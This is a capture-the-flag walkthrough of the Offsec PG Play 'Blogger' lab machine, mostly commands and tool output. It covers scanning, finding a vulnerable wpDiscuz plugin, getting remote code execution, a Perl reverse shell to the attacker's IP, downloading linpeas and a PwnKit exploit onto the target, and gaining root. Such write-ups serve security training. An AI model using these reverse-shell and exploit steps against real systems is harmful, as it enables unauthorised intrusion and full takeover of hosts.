

tags: Offsec PG Play Easy Linux # Blogger

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.170.217 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.170.217:22
Open 192.168.170.217:80

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http      syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Blogger | Home
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` ffuf
```

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.170.217/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/common.txt

.hta [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 90ms]
.htaccess [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 91ms]
.htpasswd [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 91ms]
.assets [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 94ms]
.css [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 93ms]
.images [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 89ms]
.index.html [Status: 200, Size: 46199, Words: 21068, Lines: 986, Duration: 89ms]
.js [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 88ms]
.server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 87ms]
:: Progress: [4715/4715] :: Job [1/1] :: 449 req/sec :: Duration: [0:00:14] :: Errors: 0 ::]
``` Check http://192.168.170.217/assets/fonts/blog/ and then use Wappalyzer to find it is wordpress, use wpscan
```

```
(kali㉿kali)-[~/pgplay]
└─$ wpscan --url http://192.168.170.217/assets/fonts/blog/ --enumerate p --plugins-detection aggressive

[+] URL: http://192.168.170.217/assets/fonts/blog/ [192.168.170.217]
[+] Started: Wed May 22 11:44:51 2024

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.170.217/assets/fonts/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.170.217/assets/fonts/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.170.217/assets/fonts/blog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.170.217/assets/fonts/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
```

```

| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.170.217/assets/fonts/blog/, Match: 'wp-includes\js\wp-emoji-release.min.js?
ver=4.9.8'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.170.217/assets/fonts/blog/, Match: 'WordPress 4.9.8'

[i] The main theme could not be detected.

[+] Enumerating Most Popular Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:00:31
<===== (1500 / 1500) 100.00% Time: 00:00:31
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
| Location: http://192.168.170.217/assets/fonts/blog/wp-content/plugins/akismet/
| Last Updated: 2024-03-21T00:55:00.000Z
| Readme: http://192.168.170.217/assets/fonts/blog/wp-content/plugins/akismet/readme.txt
| [!] The version is out of date, the latest version is 5.3.2
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.170.217/assets/fonts/blog/wp-content/plugins/akismet/, status: 200
|
| Version: 4.0.8 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.170.217/assets/fonts/blog/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.170.217/assets/fonts/blog/wp-content/plugins/akismet/readme.txt

[+] wpdiscuz
| Location: http://192.168.170.217/assets/fonts/blog/wp-content/plugins/wpdiscuz/
| Last Updated: 2024-05-08T07:02:00.000Z
| Readme: http://192.168.170.217/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt
| [!] The version is out of date, the latest version is 7.6.19
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.170.217/assets/fonts/blog/wp-content/plugins/wpdiscuz/, status: 200
|
| Version: 7.0.4 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.170.217/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
``` Found on google [ CVE-2020-24186 ] (https://github.com/hev0x/CVE-2020-24186-wpDiscuz-7.0.4-
RCE/blob/main/wpDiscuz_RemoteCodeExec.py), first add `blogger.pg` to `/etc/hosts`

```

```

└─(kali㉿kali)-[~/pgplay]
└─$ sudo nano /etc/hosts

```

192.168.170.217 blogger.pg

``` Click any page at <http://blogger.pg/assets/fonts/blog/> and find a comment section at the bottom. Note the parameter ?p=1, you can use the previous payload to get a reverse shell.

```

└─(kali㉿kali)-[~/pgplay/CVE-2020-24186-wpDiscuz-7.0.4-RCE]
└─$ sudo python3 wpDiscuz_RemoteCodeExec.py -u http://192.168.170.217/assets/fonts/blog/ -p /?p=1
``` Start nc, refer to [Perl no sh] (https://www.revshells.com/) to get a reverse shell to kali. After
getting the shell, go to `/home/james` to get local.txt

```

```

└─(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp22

```

```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.190:22");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>:'
```

```
www-data@ubuntu-xenial:/home/james$ cat local.txt
b9337051bf94d1a2ebf1e7c26228445a
``` Use linpeas.sh
```

```
www-data@ubuntu-xenial:/tmp$ wget 192.168.45.190/linpeas.sh
www-data@ubuntu-xenial:/tmp$ chmod +x linpeas.sh
www-data@ubuntu-xenial:/tmp$ ./linpeas.sh

[+] [CVE-2021-4034] PwnKit

Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

``` Use [CVE-2021-4034] (https://github.com/joeammond/CVE-2021-4034/blob/main/CVE-2021-4034.py) to get
root, then go to /root to get proof.txt
```

```
www-data@ubuntu-xenial:/tmp$ wget 192.168.45.190/CVE-2021-4034.py
www-data@ubuntu-xenial:/tmp$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
```

## whoami

```
root
```

## python3 -c 'import pty; pty.spawn("/bin/bash")'

```
root@ubuntu-xenial:/root# cat proof.txt
989288e4727279bc52be1bf76c22540f
```

---